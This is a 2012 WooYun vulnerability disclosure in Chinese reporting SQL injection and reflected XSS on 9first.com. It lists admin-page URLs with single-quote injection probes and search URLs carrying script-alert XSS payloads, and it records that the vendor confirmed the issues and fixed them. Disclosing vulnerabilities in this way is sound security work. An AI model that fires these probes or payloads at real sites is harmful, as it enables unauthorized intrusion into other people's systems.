当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-011615

漏洞标题:先知网大片SQL注入

相关厂商:9first.com

漏洞作者: Defa

提交时间:2012-09-03 15:32

修复时间:2012-10-18 15:33

公开时间:2012-10-18 15:33

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-09-03: 细节已通知厂商并且等待厂商处理中
2012-09-03: 厂商已经确认,细节仅向厂商公开
2012-09-13: 细节向核心白帽子及相关领域专家公开
2012-09-23: 细节向普通白帽子公开
2012-10-03: 细节向实习白帽子公开
2012-10-18: 细节向公众公开

简要描述:

学了一段时间的sql注入,终于可以练练手了,

详细说明:

网站上面有很多的sql注入漏洞,首先登录,进入个人资料地方,搜索处,然后基本上处处都是sql注入
如下图:


下面贴出部分网址,需要登录后才能访问,
http://home.9first.com/admin/comment.asp?idtype=&id=&authorid=1'&author=&dateline1=&dateline2=&message=&ip=&orderby=&ordersc=desc&perpage=20&ac=comment&searchsubmit=%CB%D1%CB%F7'
http://home.9first.com/admin/album.asp?albumid=552
http://home.9first.com/admin/pic.asp?albumid=1'&picid=&postip=&filename=&title=&hot1=&hot2=&dateline1=&dateline2=&orderby=&ordersc=desc&perpage=20&ac=pic&searchsubmit=%CB%D1%CB%F7
http://home.9first.com/admin/thread.asp?clubid=1%27&subject=&tid=&dateline1=&dateline2=&viewnum1=&viewnum2=&replynum1=&replynum2=&hot1=&hot2=&digest=&orderby=&ordersc=desc&perpage=20&ac=thread&searchsubmit=%CB%D1%CB%F7
http://home.9first.com/admin/post.asp?clubid=1%27&tid=&dateline1=&dateline2=&message=&ip=&isthread=&orderby=&ordersc=desc&perpage=20&ac=post&searchsubmit=%CB%D1%CB%F7
友情测试不用工具,这里我手工检测一下,见漏洞证明

漏洞证明:



下面附送几枚反射xss:
http://course.9first.com/search.asp?kw="/><script>alert(/xss/)</script>
http://home.9first.com/myschool/?stype=0&Keyword=%22%2F%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&Endtime=2012-8-31&plan=3
http://home.9first.com/blog/?searchkey=%22%2F%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&searchmode=1&view=all&orderby=dateline
http://home.9first.com/album/?searchkey=%22%2F%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&searchsubmit=%CB%D1%CB%F7%CF%E0%B2%E1&view=all&orderby=dateline

修复方案:

地球人都知道

版权声明:转载请注明来源 Defa@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-09-03 18:08

厂商回复:

最新状态:

2012-09-03:已修复。


漏洞评价:

评论